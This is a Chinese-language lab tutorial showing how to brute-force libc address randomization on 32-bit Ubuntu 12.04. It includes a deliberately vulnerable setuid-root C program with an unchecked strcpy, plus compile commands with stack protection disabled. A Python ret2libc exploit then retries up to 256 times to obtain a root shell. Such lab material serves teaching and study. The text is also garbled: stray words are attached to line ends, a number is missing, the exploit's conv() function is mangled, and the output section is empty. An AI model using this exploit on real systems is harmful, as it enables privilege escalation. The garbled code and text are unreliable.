7.1 實驗環境python
VM 配置:Ubuntu 12.04 (x86) shell
7.2 實驗原理dom
什麼是爆破?spa
使用爆破技巧,來繞過共享庫地址隨機化。code
7.3 實驗過程blog
7.3.1 漏洞代碼string
//vuln.c #include <stdio.h> #include <string.h> int main(int argc, char* argv[]) { char buf[256]; strcpy(buf, argv[1]); printf("%s\n", buf); fflush(stdout); return 0; }
7.3.2 編譯程序it
ASLR 要爲開啓狀態。io
#sudo sh -c "echo 2 > /proc/sys/kernel/randomize_va_space" gcc -g -fno-stack-protector -o vuln vuln.c sudo chown root vuln sudo chgrp root vuln sudo chmod +s vuln
使用 ldd 命令能夠看到在 ASLR 開啓的狀況下,每次 glibc 的基址是隨機的:編譯
可是,咱們能夠發現其中的相同點,也就是說,libc 的隨機化只能反映在 2 個十六進制位(即 8 個二進制位上),所以咱們能夠經過最多 次嘗試,命中它的真實地址,從而得到 root shell。
7.3.3 進行攻擊
攻擊代碼以下:
#exp.py #!/usr/bin/env python import struct from subprocess import call libc_base_addr = 0xb7595000 exit_off = 0x00032be0 system_off = 0x0003f060 system_addr = libc_base_addr + system_off exit_addr = libc_base_addr + exit_off system_arg = 0x804827d def conv(num): return struct.pack ( "<I" , numystem + exit + system_arg buf = "A" * 268 buf += conv(system_addr) buf += conv(exit_addr) buf += conv(system_arg) print "Calling vulnerable program" i = 0 while ( i < 256 ) : print "Number of tries : %d " % i i += 1 ret = call ( [ "./vuln" , buf ] ) if ( not ret ) : break else : print " Exploit failed "
執行結果:
共會產生255個輸出,進行部分截取: